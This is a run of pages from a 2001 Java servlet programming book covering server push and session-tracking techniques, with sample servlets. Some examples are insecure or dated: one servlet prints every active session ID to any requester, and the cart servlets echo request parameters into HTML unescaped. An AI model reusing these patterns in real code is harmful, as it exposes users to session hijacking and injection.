With server push, the socket connection between the client and the server remains open until the last page has been sent. This gives the server the ability to send page updates quickly and to control exactly when those updates are sent. As such, server push is ideal for pages that need frequent updates (such as rudimentary animations) or pages that need server-controlled but somewhat infrequent updates (such as live status updates). Note, however, that server push is not yet supported by Microsoft Internet Explorer, and extended use should be avoided, as it has been found to be harmful to the server's available socket count.

With client pull, the socket connection is broken after every page, so responsibility for page updates falls to the client. The client uses the Refresh header value sent by the server to determine when to perform its update, so client pull is the best choice for pages that require infrequent updates or have updates at known intervals.

Server push can come in handy for limited-length animations and for real-time status updates. For example, consider a servlet that could push the four latest satellite weather maps, creating a rudimentary animation. If you recall the PrimeSearcher servlet from Chapter 3, "The Servlet Life Cycle", think about how we could use server push to notify a limited number of clients immediately as the servlet finds each new prime.

Example 6-12 shows a servlet that uses server push to display a countdown to a rocket launch. It begins by sending a series of pages that count down from 10 to 1. Every page replaces the previous page. When the countdown reaches 0, the servlet sends a picture of a launch. It uses the com.oreilly.servlet.MultipartRe-sponse utility class (shown in Example 6-13) to manage the server push details.

Example 6-12. Countdown to a rocket launch

import java.awt.*;
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

import com.oreilly.servlet.MultipartResponse;
import com.oreilly.servlet.ServletUtils;

public class Countdown extends HttpServlet {

  static final String LAUNCH = "/images/launch.gif";

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    ServletOutputStream out = res.getOutputStream();  // some binary output

    // Prepare a multipart response
    MultipartResponse multi = new MultipartResponse(res);

    // First send a countdown
    for (int i = 10; i > 0; i--) {
      multi.startResponse("text/plain");
      out.println(i + "...");
      multi.endResponse();
      try { Thread.sleep(1000); } catch (InterruptedException e) { }
    }

    // Then send the launch image
    multi.startResponse("image/gif");
    try {
      ServletUtils.returnFile(req.getRealPath(LAUNCH), out);
    }
    catch (FileNotFoundException e) {
      throw new ServletException("Could not find file: " + e.getMessage());
    }

    // Don't forget to end the multipart response
    multi.finish();
  }
}

The MultipartResponse class hides most of the nasty, dirty details involved in using server push. Feel free to use it in your own servlets. It is easy to use, as you can see from the previous example.

First, create a new MultipartResponse object, passing it the servlet's response object. MultipartResponse uses the response object to fetch the servlet's output stream and to set the response's content type. Then, for each page of content, begin by calling startResponse() and passing in the content type for that page. Send the content for the page by writing to the output stream as usual. A call to endResponse() ends the page and flushes the content, so the client can see it. At this point, you can add a call to sleep(), or some other kind of delay, until the next page is ready for sending. The call to endResponse() is optional, as the startResponse() method knows whether the previous response was ended and ends it if necessary. You should still call endResponse() if there's going to be a delay between the time one response ends and the next begins. This lets the client display the latest response while it is waiting for the next one. Finally, after all the response pages have been sent, a call to the finish() method finishes the multipart response and sends a code telling the client there will be no more responses.

Example 6-13 contains the code for the MultipartResponse class.

Example 6-13. The MultipartResponse class

public class MultipartResponse {

  HttpServletResponse res;
  ServletOutputStream out;
  boolean endedLastResponse = true;

  public MultipartResponse(HttpServletResponse response) throws IOException {
    // Save the response object and output stream
    res = response;
    out = res.getOutputStream();

    // Set things up
    res.setContentType("multipart/x-mixed-replace;boundary=End");
    out.println();
    out.println("--End");
  }

  public void startResponse(String contentType) throws IOException {
    // End the last response if necessary
    if (!endedLastResponse) {
      endResponse();
    }
    // Start the next one
    out.println("Content-Type: " + contentType);
    out.println();
    endedLastResponse = false;
  }

  public void endResponse() throws IOException {
    // End the last response, and flush so the client sees the content
    out.println();
    out.println("--End");
    out.flush();
    endedLastResponse = true;
  }

  public void finish() throws IOException {
    out.println("--End--");
    out.flush();
  }
}
Previous | Home | Next
6.2. Compressed Content | Book Index | 7. Session Tracking
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Session Tracking (Java Servlet Programming)

 Java Servlet Programming Search this book

Chapter 7. Session Tracking

Contents:

User Authorization
Hidden Form Fields
URL Rewriting
Persistent Cookies
The Session Tracking API

HTTP is a stateless protocol: it provides no way for a server to recognize that a sequence of requests are all from the same client. Privacy advocates may consider this a feature, but it causes problems because many web applications aren't stateless. The shopping cart application is a classic example--a client can put items in his virtual cart, accumulating them until he checks out several page requests later. Other examples include sites that offer stock brokerage services or interactive data mining.

The HTTP state problem can best be understood if you imagine an online chat forum where you are the guest of honor. Picture dozens of chat users, all conversing with you at the same time. They are asking you questions, responding to your questions, and generally making you wish you had taken that typing course back in high school. Now imagine that when each participant writes to you, the chat forum doesn't tell you who's speaking! All you see is a bunch of questions and statements mixed in with each other. In this kind of forum, the best you can do is hold simple conversations, perhaps answering direct questions. If you try to do anything more, such as ask someone a question in return, you won't necessarily know when the answer comes back. This is exactly the HTTP state problem. The HTTP server sees only a series of requests--it needs extra help to know exactly who's making a request.[1]

[1] If you're wondering why the HTTP server can't identify the client by the connecting machine's IP address, the answer is that the reported IP address could possibly be the address of a proxy server or the address of a server machine that hosts multiple users.

The solution, as you may have already guessed, is for a client to introduce itself as it makes each request. Each client needs to provide a unique identifier that lets the server identify it, or it needs to give some information that the server can use to properly handle the request. To use the chat example, a participant has to begin each of his sentences with something like "Hi, I'm Jason, and ..." or "Hi, I just asked about your age, and ...". As you'll see in this chapter, there are several ways for HTTP clients to send this introductory information with each request.

The first half of the chapter explores the traditional session-tracking techniques used by CGI developers: user authorization, hidden form fields, URL rewriting, and persistent cookies. The second half of the chapter demonstrates the built-in support for session tracking in Version 2.0 of the Servlet API. This support is built on top of the traditional techniques and it greatly simplifies the task of session tracking in your servlets.

7.1. User Authorization

One way to perform session tracking is to leverage the information that comes with user authorization. We discussed user authorization back in Chapter 4, "Retrieving Information", but, in case you've forgotten, it occurs when a web server restricts access to some of its resources to only those clients that log in using a recognized username and password. After the client logs in, the username is available to a servlet through getRemoteUser().

We can use the username to track a client session. Once a user has logged in, the browser remembers her username and resends the name and password as the user views new pages on the site. A servlet can identify the user through her username and thereby track her session. For example, if the user adds an item to her virtual shopping cart, that fact can be remembered (in a shared class or external database, perhaps) and used later by another servlet when the user goes to the check-out page.

For example, a servlet that utilizes user authorization might add an item to a user's shopping cart with code like the following:

String name = req.getRemoteUser();
if (name == null) {
  // Explain that the server administrator should protect this page
}
else {
  String[] items = req.getParameterValues("item");
  if (items != null) {
    for (int i = 0; i < items.length; i++) {
      addItemToCart(name, items[i]);
    }
  }
}

Another servlet can then retrieve the items from a user's cart with code like this:

String name = req.getRemoteUser();
if (name == null) {
  // Explain that the server administrator should protect this page
}
else {
  String[] items = getItemsFromCart(name);
}

The biggest advantage of using user authorization to perform session tracking is that it's easy to implement. Simply tell the server to protect a set of pages, and use getRemoteUser() to identify each client. Another advantage is that the technique works even when the user accesses your site from different machines. It also works even if the user strays from your site or exits her browser before coming back.

The biggest disadvantage of user authorization is that it requires each user to register for an account and then log in each time she starts visiting your site. Most users will tolerate registering and logging in as a necessary evil when they are accessing sensitive information, but it's overkill for simple session tracking. We clearly need a better approach to support anonymous session tracking. Another small problem with user authorization is that a user cannot simultaneously maintain more than one session at the same site.

Previous | Home | Next
6.3. Server Push | Book Index | 7.2. Hidden Form Fields
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Hidden Form Fields (Java Servlet Programming)

 Java Servlet Programming Search this book

7.2. Hidden Form Fields

One way to support anonymous session tracking is to use hidden form fields. As the name implies, these are fields added to an HTML form that are not displayed in the client's browser. They are sent back to the server when the form that contains them is submitted. You include hidden form fields with HTML like this:

<FORM ACTION="/servlet/MovieFinder" METHOD="POST">
...
<INPUT TYPE=hidden NAME="zip" VALUE="94040">
<INPUT TYPE=hidden NAME="level" VALUE="expert">
...
</FORM>

In a sense, hidden form fields define constant variables for a form. To a servlet receiving a submitted form, there is no difference between a hidden field and a visible field.

With hidden form fields, we can rewrite our shopping cart servlets so that users can shop anonymously until check-out time. Example 7-1 demonstrates the technique with a servlet that displays the user's shopping cart contents and lets the user choose to add more items or check out. An example screen for a bookworm is shown in Figure 7-1.

Example 7-1. Session tracking using hidden form fields

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class ShoppingCartViewerHidden extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    out.println("<HEAD><TITLE>Current Shopping Cart Items</TITLE></HEAD>");
    out.println("<BODY>");

    // Cart items are passed in as the item parameter.
    String[] items = req.getParameterValues("item");

    // Print the current cart items.
    out.println("You currently have the following items in your cart:<BR>");
    if (items == null) {
      out.println("<B>None</B>");
    }
    else {
      out.println("<UL>");
      for (int i = 0; i < items.length; i++) {
        out.println("<LI>" + items[i]);
      }
      out.println("</UL>");
    }

    // Ask if the user wants to add more items or check out.
    // Include the current items as hidden fields so they'll be passed on.
    out.println("<FORM ACTION=\"/servlet/ShoppingCart\" METHOD=POST>");
    if (items != null) {
      for (int i = 0; i < items.length; i++) {
        out.println("<INPUT TYPE=hidden NAME=item VALUE=\"" +
          items[i] + "\">");
      }
    }
    out.println("Would you like to<BR>");
    out.println("<INPUT TYPE=submit VALUE=\" Add More Items \">");
    out.println("<INPUT TYPE=submit VALUE=\" Check Out \">");
    out.println("</FORM>");

    out.println("</BODY></HTML>");
  }
}

Figure 7-1. Shopping cart contents

This servlet first reads the items already in the cart using getParameterValues("item"). Presumably, the item parameter values were sent to this servlet using hidden fields. The servlet then displays the current items to the user and asks if he wants to add more items or check out. The servlet asks its question with a form that includes hidden fields, so the form's target (the ShoppingCart servlet) receives the current items as part of the submission.

As more and more information is associated with a client's session, it can become burdensome to pass it all using hidden form fields. In these situations, it's possible to pass on just a unique session ID that identifies a particular client's session. That session ID can be associated with complete information about the session that is stored on the server.

The advantages of hidden form fields are their ubiquity and support for anonymity. Hidden fields are supported in all the popular browsers, they demand no special server requirements, and they can be used with clients that haven't registered or logged in. The major disadvantage with this technique, however, is that it works only for a sequence of dynamically generated forms. The technique breaks down immediately with static documents, emailed documents, bookmarked documents, and browser shutdowns.

Previous | Home | Next
7.1. User Authorization | Book Index | 7.3. URL Rewriting
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


URL Rewriting (Java Servlet Programming)

 Java Servlet Programming Search this book

7.3. URL Rewriting

URL rewriting is another way to support anonymous session tracking. With URL rewriting, every local URL the user might click on is dynamically modified, or rewritten, to include extra information. The extra information can be in the form of extra path information, added parameters, or some custom, server-specific URL change. Due to the limited space available in rewriting a URL, the extra information is usually limited to a unique session ID. For example, the following URLs have been rewritten to pass the session ID 123:

http://server:port/servlet/Rewritten                 original
http://server:port/servlet/Rewritten/123             extra path information
http://server:port/servlet/Rewritten?sessionid=123   added parameter
http://server:port/servlet/Rewritten;$sessionid$123  custom change

Each rewriting technique has its advantages and disadvantages. Using extra path information works on all servers, and it works as a target for forms that use both the GET and POST methods. It doesn't work well if a servlet has to use the extra path information as true path information, however. Using an added parameter works on all servers too, but it fails as a target for forms that use the POST method, and it can cause parameter naming collisions. Using a custom, server-specific change works under all conditions for servers that support the change. Unfortunately, it doesn't work at all for servers that don't support the change.

Example 7-2 shows a revised version of our shopping cart viewer that uses URL rewriting in the form of extra path information to anonymously track a shopping cart.

Example 7-2. Session tracking using URL rewriting

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class ShoppingCartViewerRewrite extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    out.println("<HEAD><TITLE>Current Shopping Cart Items</TITLE></HEAD>");
    out.println("<BODY>");

    // Get the current session ID, or generate one if necessary
    String sessionid = req.getPathInfo();
    if (sessionid == null) {
      sessionid = generateSessionId();
    }

    // Cart items are associated with the session ID
    String[] items = getItemsFromCart(sessionid);

    // Print the current cart items.
    out.println("You currently have the following items in your cart:<BR>");
    if (items == null) {
      out.println("<B>None</B>");
    }
    else {
      out.println("<UL>");
      for (int i = 0; i < items.length; i++) {
        out.println("<LI>" + items[i]);
      }
      out.println("</UL>");
    }

    // Ask if the user wants to add more items or check out.
    // Include the session ID in the action URL.
    out.println("<FORM ACTION=\"/servlet/ShoppingCart/" + sessionid +
                "\" METHOD=POST>");
    out.println("Would you like to<BR>");
    out.println("<INPUT TYPE=submit VALUE=\" Add More Items \">");
    out.println("<INPUT TYPE=submit VALUE=\" Check Out \">");
    out.println("</FORM>");

    // Offer a help page. Include the session ID in the URL.
    out.println("For help, click <A HREF=\"/servlet/Help/" + sessionid +
                "?topic=ShoppingCartViewerRewrite\">here</A>");

    out.println("</BODY></HTML>");
  }

  private static String generateSessionId() {
    String uid = new java.rmi.server.UID().toString();  // guaranteed unique
    return java.net.URLEncoder.encode(uid);  // encode any special chars
  }

  private static String[] getItemsFromCart(String sessionid) {
    // Not implemented
  }
}

This servlet first tries to retrieve the current session ID using getPathInfo() . If a session ID is not specified, it calls generateSessionId() to generate a new unique session ID using an RMI class designed specifically for this. The session ID is used to fetch and display the current items in the cart. The ID is then added to the form's ACTION attribute, so it can be retrieved by the ShoppingCart servlet. The session ID is also added to a new help URL that invokes the Help servlet. This wasn't possible with hidden form fields because the Help servlet isn't the target of a form submission.

The advantages and disadvantages of URL rewriting closely match those of hidden form fields. The major difference is that URL rewriting works for all dynamically created documents, such as the Help servlet, not just forms. Plus, with the right server support, custom URL rewriting can even work for static documents. Unfortunately, actually performing the URL rewriting can be tedious.

Previous | Home | Next
7.2. Hidden Form Fields | Book Index | 7.4. Persistent Cookies
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Persistent Cookies (Java Servlet Programming)

 Java Servlet Programming Search this book

7.4. Persistent Cookies

A fourth technique to perform session tracking involves persistent cookies. A cookie is a bit of information sent by a web server to a browser that can later be read back from that browser. When a browser receives a cookie, it saves the cookie and thereafter sends the cookie back to the server each time it accesses a page on that server, subject to certain rules. Because a cookie's value can uniquely identify a client, cookies are often used for session tracking.

Cookies were first introduced in Netscape Navigator. Although they were not part of the official HTTP specification, cookies quickly became a de facto standard supported in all the popular browsers including Netscape 0.94 Beta and up and Microsoft Internet Explorer 2 and up. Currently the HTTP Working Group of the Internet Engineering Task Force (IETF) is in the process of making cookies an official standard as written in RFC 2109. For more information on cookies see Netscape's Cookie Specification at http://home.netscape.com/newsref/std/cookie_spec.html and RFC 2109 at http://www.ietf.org/rfc/rfc2109.txt. Another good site is http://www.cookiecentral.com.

7.4.1. Working with Cookies

Version 2.0 of the Servlet API provides the javax.servlet.http.Cookie class for working with cookies. The HTTP header details for the cookies are handled by the Servlet API. You create a cookie with the Cookie() constructor:

public Cookie(String name, String value)

This creates a new cookie with an initial name and value. The rules for valid names and values are given in Netscape's Cookie Specification and RFC 2109.

A servlet can send a cookie to the client by passing a Cookie object to the addCookie() method of HttpServletResponse:

public void HttpServletResponse.addCookie(Cookie cookie)

This method adds the specified cookie to the response. Additional cookies can be added with subsequent calls to addCookie() . Because cookies are sent using HTTP headers, they should be added to the response before you send any content. Browsers are only required to accept 20 cookies per site, 300 total per user, and they can limit each cookie's size to 4096 bytes.

The code to set a cookie looks like this:

Cookie cookie = new Cookie("ID", "123");
res.addCookie(cookie);

A servlet retrieves cookies by calling the getCookies() method of HttpServlet- Request:

public Cookie[] HttpServletRequest.getCookies()

This method returns an array of Cookie objects that contains all the cookies sent by the browser as part of the request or null if no cookies were sent. The code to fetch cookies looks like this:

Cookie[] cookies = req.getCookies();
if (cookies != null) {
  for (int i = 0; i < cookies.length; i++) {
    String name = cookies[i].getName();
    String value = cookies[i].getValue();
  }
}

You can set a number of attributes for a cookie in addition to its name and value. The following methods are used to set these attributes. As you can see in Appendix B, "HTTP Servlet API Quick Reference", there is a corresponding get method for each set method. The get methods are rarely used, however, because when a cookie is sent to the server, it contains only its name, value, and version.

public void Cookie.setVersion(int v)

Sets the version of a cookie. Servlets can send and receive cookies formatted to match either Netscape persistent cookies (Version 0) or the newer, somewhat experimental, RFC 2109 cookies (Version 1). Newly constructed cookies default to Version to maximize interoperability.

public void Cookie.setDomain(String pattern)

Specifies a domain restriction pattern. A domain pattern specifies the servers that should see a cookie. By default, cookies are returned only to the host that saved them. Specifying a domain name pattern overrides this. The pattern must begin with a dot and must contain at least two dots. A pattern matches only one entry beyond the initial dot. For example, ".foo.com" is valid and matches www.foo.com and upload.foo.com but not www.upload.foo.com. For details on domain patterns, see Netscape's Cookie Specification and RFC 2109.

public void Cookie.setMaxAge(int expiry)

Specifies the maximum age of the cookie in seconds before it expires. A negative value indicates the default, that the cookie should expire when the browser exits. A zero value tells the browser to delete the cookie immediately.

public void Cookie.setPath(String uri)

Specifies a path for the cookie, which is the subset of URIs to which a cookie should be sent. By default, cookies are sent to the page that set the cookie and to all the pages in that directory or under that directory. For example, if /servlet/CookieMonster sets a cookie, the default path is "/servlet". That path indicates the cookie should be sent to /servlet/Elmo and to /servlet/subdir/BigBird--but not to the /Oscar.html servlet alias or to any CGI programs under /cgi-bin. A path set to "/" causes a cookie to be sent to all the pages on a server. A cookie's path must be such that it includes the servlet that set the cookie.

public void Cookie.setSecure(boolean flag)

Indicates whether the cookie should be sent only over a secure channel, such as SSL. By default, its value is false.

public void Cookie.setComment(String comment)

Sets the comment field of the cookie. A comment describes the intended purpose of a cookie. Web browsers may choose to display this text to the user. Comments are not supported by Version cookies.

public void Cookie.setValue(String newValue)

Assigns a new value to a cookie. With Version cookies, values should not contain the following: whitespace, brackets and parentheses, equals signs, commas, double quotes, slashes, question marks, at signs, colons, and semicolons. Empty values may not behave the same way on all browsers.

7.4.2. Shopping Using Persistent Cookies

Example 7-3 shows a version of our shopping cart viewer that has been modified to maintain the shopping cart using persistent cookies.

Example 7-3. Session tracking using persistent cookies

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class ShoppingCartViewerCookie extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    // Get the current session ID by searching the received cookies.
    String sessionid = null;
    Cookie[] cookies = req.getCookies();
    if (cookies != null) {
      for (int i = 0; i < cookies.length; i++) {
        if (cookies[i].getName().equals("sessionid")) {
          sessionid = cookies[i].getValue();
          break;
        }
      }
    }

    // If the session ID wasn't sent, generate one.
    // Then be sure to send it to the client with the response.
    if (sessionid == null) {
      sessionid = generateSessionId();
      Cookie c = new Cookie("sessionid", sessionid);
      res.addCookie(c);
    }

    out.println("<HEAD><TITLE>Current Shopping Cart Items</TITLE></HEAD>");
    out.println("<BODY>");

    // Cart items are associated with the session ID
    String[] items = getItemsFromCart(sessionid);

    // Print the current cart items.
    out.println("You currently have the following items in your cart:<BR>");
    if (items == null) {
      out.println("<B>None</B>");
    }
    else {
      out.println("<UL>");
      for (int i = 0; i < items.length; i++) {
        out.println("<LI>" + items[i]);
      }
      out.println("</UL>");
    }

    // Ask if they want to add more items or check out.
    out.println("<FORM ACTION=\"/servlet/ShoppingCart\" METHOD=POST>");
    out.println("Would you like to<BR>");
    out.println("<INPUT TYPE=submit VALUE=\" Add More Items \">");
    out.println("<INPUT TYPE=submit VALUE=\" Check Out \">");
    out.println("</FORM>");

    // Offer a help page.
    out.println("For help, click <A HREF=\"/servlet/Help" +
                "?topic=ShoppingCartViewerCookie\">here</A>");

    out.println("</BODY></HTML>");
  }

  private static String generateSessionId() {
    String uid = new java.rmi.server.UID().toString();  // guaranteed unique
    return java.net.URLEncoder.encode(uid);  // encode any special chars
  }

  private static String[] getItemsFromCart(String sessionid) {
    // Not implemented
  }
}

This servlet first tries to fetch the client's session ID by iterating through the cookies it received as part of the request. If no cookie contains a session ID, the servlet generates a new one using generateSessionId() and adds a cookie containing the new session ID to the response. The rest of this servlet matches the URL rewriting version, except that this version doesn't perform any rewriting.

Persistent cookies offer an elegant, efficient, easy way to implement session tracking. Cookies provide as automatic an introduction for each request as you could hope for. For each request, a cookie can automatically provide a client's session ID or perhaps a list of the client's preferences. In addition, the ability to customize cookies gives them extra power and versatility.

The biggest problem with cookies is that browsers don't always accept cookies. Sometimes this is because the browser doesn't support cookies. More often, it's because the user has specifically configured the browser to refuse cookies (out of privacy concerns, perhaps). If any of your clients might not accept cookies, you have to fall back to the solutions discussed earlier in this chapter.

Previous | Home | Next
7.3. URL Rewriting | Book Index | 7.5. The Session Tracking API
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Session Tracking API (Java Servlet Programming)

 Java Servlet Programming Search this book

7.5. The Session Tracking API

Fortunately for us servlet developers, it's not always necessary for a servlet to manage its own sessions using the techniques we have just discussed. The Servlet API provides several methods and classes specifically designed to handle session tracking on behalf of servlets. In other words, servlets have built in session tracking.[2]

[2] Yes, we do feel a little like the third grade teacher who taught you all the steps of long division, only to reveal later how you could use a calculator to do the same thing. But we believe, as your teacher probably did, that you better understand the concepts after first learning the traditional approach.

The Session Tracking API, as we call the portion of the Servlet API devoted to session tracking, should be supported in any web server that supports servlets. The level of support, however, depends on the server. The minimal implementation provided by the servlet classes in JSDK 2.0 manages sessions through the use of persistent cookies. A server can build on this base to provide additional features and capabilities. For example, the Java Web Server has the ability to revert to using URL rewriting when cookies fail, and it allows session objects to be written to the server's disk as memory fills up or when the server shuts down. (The items you place in the session need to implement the Serializable interface to take advantage of this option.) See your server's documentation for details pertaining to your server. The rest of this section describe the lowest-common-denominator functionality provided by Version 2.0 of the Servlet API.

7.5.1. Session-Tracking Basics

Session tracking is wonderfully elegant. Every user of a site is associated with a javax.servlet.http.HttpSession object that servlets can use to store or retrieve information about that user. You can save any set of arbitrary Java objects in a session object. For example, a user's session object provides a convenient location for a servlet to store the user's shopping cart contents or, as you'll see in Chapter 9, "Database Connectivity", the user's database connection.

A servlet uses its request object's getSession() method to retrieve the current HttpSession object:

public HttpSession HttpServletRequest.getSession(boolean create)

This method returns the current session associated with the user making the request. If the user has no current valid session, this method creates one if create is true or returns null if create is false. To ensure the session is properly maintained, this method must be called at least once before any output is written to the response.

You can add data to an HttpSession object with the putValue() method:

public void HttpSession.putValue(String name, Object value)

This method binds the specified object value under the specified name. Any existing binding with the same name is replaced. To retrieve an object from a session, use getValue():

public Object HttpSession.getValue(String name)

This methods returns the object bound under the specified name or null if there is no binding. You can also get the names of all of the objects bound to a session with getValueNames():

public String[] HttpSession.getValueNames()

This method returns an array that contains the names of all objects bound to this session or an empty (zero length) array if there are no bindings. Finally, you can remove an object from a session with removeValue():

public void HttpSession.removeValue(String name)

This method removes the object bound to the specified name or does nothing if there is no binding. Each of these methods can throw a java.lang.IllegalStateException if the session being accessed is invalid (we'll discuss invalid sessions in an upcoming section).

7.5.2. A Hit Count Using Session Tracking

Example 7-4 shows a simple servlet that uses session tracking to count the number of times a client has accessed it, as shown in Figure 7-2. The servlet also displays all the bindings for the current session, just because it can.

Example 7-4. Session tracking a hit count

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class SessionTracker extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    // Get the current session object, create one if necessary
    HttpSession session = req.getSession(true);

    // Increment the hit count for this page. The value is saved
    // in this client's session under the name "tracker.count".
    Integer count = (Integer)session.getValue("tracker.count");
    if (count == null)
      count = new Integer(1);
    else
      count = new Integer(count.intValue() + 1);
    session.putValue("tracker.count", count);

    out.println("<HTML><HEAD><TITLE>SessionTracker</TITLE></HEAD>");
    out.println("<BODY><H1>Session Tracking Demo</H1>");

    // Display the hit count for this page
    out.println("You've visited this page " + count +
      ((count.intValue() == 1) ? " time." : " times."));

    out.println("<P>");

    out.println("<H2>Here is your session data:</H2>");
    String[] names = session.getValueNames();
    for (int i = 0; i < names.length; i++) {
      out.println(names[i] + ": " + session.getValue(names[i]) + "<BR>");
    }
    out.println("</BODY></HTML>");
  }
}

Figure 7-2. Counting client visits

This servlet first gets the HttpSession object associated with the current client. By passing true to getSession(), it asks for a session to be created if necessary. The servlet then gets the Integer object bound to the name "tracker.count". If there is no such object, the servlet starts a new count. Otherwise, it replaces the Integer with a new Integer whose value has been incremented by one. Finally, the servlet displays the current count and all the current name/value pairs in the session.

7.5.3. The Session Life Cycle

Sessions do not last forever. A session either expires automatically, after a set time of inactivity (for the Java Web Server the default is 30 minutes), or manually, when it is explicitly invalidated by a servlet. When a session expires (or is invalidated), the HttpSession object and the data values it contains are removed from the system.

Beware that any information saved in a user's session object is lost when the session is invalidated. If you need to retain information beyond that time, you should keep it in an external location (such as a database) and store a handle to the external data in the session object (or your own persistant cookie).

There are several methods involved in managing the session life cycle:

public boolean HttpSession.isNew()

This method returns whether the session is new. A session is considered new if it has been created by the server but the client has not yet acknowledged joining the session. For example, if a server supports only cookie-based sessions and a client has completely disabled the use of cookies, calls to the getSession() method of HttpServletRequest always return new sessions.

public void HttpSession.invalidate()

This method causes the session to be immediately invalidated. All objects stored in the session are unbound.

public long HttpSession.getCreationTime()

This method returns the time at which the session was created, as a long value that represents the number of milliseconds since the epoch (midnight, January 1, 1970, GMT).

public long HttpSession.getLastAccessedTime()

This method returns the time at which the client last sent a request associated with this session, as a long value that represents the number of milliseconds since the epoch.

Each of these methods can throw a java.lang.IllegalStateException if the session being accessed is invalid.

7.5.4. Manually Invalidating a Stale Session

To demonstrate these methods, Example 7-5 shows a servlet that manually invalidates a session if it is more than a day old or has been inactive for more than an hour.

Example 7-5. Invalidating a stale session

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class ManualInvalidate extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    // Get the current session object, create one if necessary
    HttpSession session = req.getSession(true);

    // Invalidate the session if it's more than a day old or has been
    // inactive for more than an hour.
    if (!session.isNew()) {  // skip new sessions
      Date dayAgo = new Date(System.currentTimeMillis() - 24*60*60*1000);
      Date hourAgo = new Date(System.currentTimeMillis() - 60*60*1000);
      Date created = new Date(session.getCreationTime());
      Date accessed = new Date(session.getLastAccessedTime());

      if (created.before(dayAgo) || accessed.before(hourAgo)) {
        session.invalidate();
        session = req.getSession(true);  // get a new session
      }
    }

    // Continue processing...
  }
}

7.5.5. Putting Sessions in Context

So, how does a web server implement session tracking? When a user first accesses the site, that user is assigned a new HttpSession object and a unique session ID. The session ID identifies the user and is used to match the user with the HttpSession object in subsequent requests. Behind the scenes, the session ID is usually saved on the client in a cookie or sent as part of a rewritten URL. Other implementations, such as using SSL (Secure Sockets Layer) sessions, are also possible.

A servlet can discover a session's ID with the getId() method:

public String HttpSession.getId()

This method returns the unique String identifier assigned to this session. For example, a Java Web Server ID might be something like HT04D1QAAAAABQDGPM5QAAA. The method throws an IllegalState-Exception if the session is invalid.

All valid sessions are grouped together in a HttpSessionContext object. Theoretically, a server may have multiple session contexts, although in practice most have just one. A reference to the server's HttpSessionContext is available via any session object's getSessionContext() method:

public HttpSessionContext HttpSession.getSessionContext()

This method returns the context in which the session is bound. It throws an IllegalStateException if the session is invalid.

Once you have an HttpSessionContext, it's possible to use it to examine all the currently valid sessions with the following two methods:

public Enumeration HttpSessionContext.getIds()
public HttpSession HttpSessionContext.getSession(String sessionId)

The getIds() method returns an Enumeration that contains the session IDs for all the currently valid sessions in this context or an empty Enumeration if there are no valid sessions. getSession() returns the session associated with the given session ID. The session IDs returned by getIds() should be held as a server secret because any client with knowledge of another client's session ID can, with a forged cookie or URL, join the second client's session.

7.5.6. Manually Invalidating All Stale Sessions

Example 7-6 demonstrates the use of these methods with a servlet that manually invalidates all the sessions on the server that are more than a day old or have been inactive more than an hour.

Example 7-6. Invalidating all stale sessions

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class ManualInvalidateScan extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    // Get the current session object, create one if necessary
    HttpSession dummySession = req.getSession(true);

    // Use the session to get the session context
    HttpSessionContext context = dummySession.getSessionContext();

    // Use the session context to get a list of session IDs
    Enumeration ids = context.getIds();

    // Iterate over the session IDs checking for stale sessions
    while (ids.hasMoreElements()) {
      String id = (String)ids.nextElement();
      out.println("Checking " + id + "...");
      HttpSession session = context.getSession(id);

      // Invalidate the session if it's more than a day old or has been
      // inactive for more than an hour.
      Date dayAgo = new Date(System.currentTimeMillis() - 24*60*60*1000);
      Date hourAgo = new Date(System.currentTimeMillis() - 60*60*1000);
      Date created = new Date(session.getCreationTime());
      Date accessed = new Date(session.getLastAccessedTime());

      if (created.before(dayAgo)) {
        out.println("More than a day old, invalidated!");
        session.invalidate();
      }
      else if (accessed.before(hourAgo)) {
        out.println("More than an hour inactive, invalidated!");
        session.invalidate();
      }
      else {
        out.println("Still valid.");
      }
      out.println();
    }
  }
}

A servlet that manually invalidates sessions according to arbitrary rules is useful on servers with limited session expiration capabilities.

7.5.7. Storing Session IDs

Every server that supports servlets should implement at least cookie-based session tracking, where the session ID is saved on the client in a persistent cookie. Many web servers also support session tracking based on URL rewriting, as a fallback for browsers that don't accept cookies. This requires additional help from servlets.

For a servlet to support session tracking via URL rewriting, it has to rewrite every local URL before sending it to the client. The Servlet API provides two methods to perform this encoding:

public String HttpServletResponse.encodeUrl(String url)

This method encodes (rewrites) the specified URL to include the session ID and returns the new URL, or, if encoding is not needed or not supported, it leaves the URL unchanged. The rules used to decide when and how to encode a URL are server-specific. All URLs emitted by a servlet should be run through this method.

public String HttpServletResponse.encodeRedirectUrl(String url)

This method encodes (rewrites) the specified URL to include the session ID and returns the new URL, or, if encoding is not needed or not supported, it leaves the URL unchanged. The rules used to decide when and how to encode a URL are server-specific. This method may use different rules than encodeUrl(). All URLs passed to the sendRedirect() method of HttpServletResponse should be run through this method.

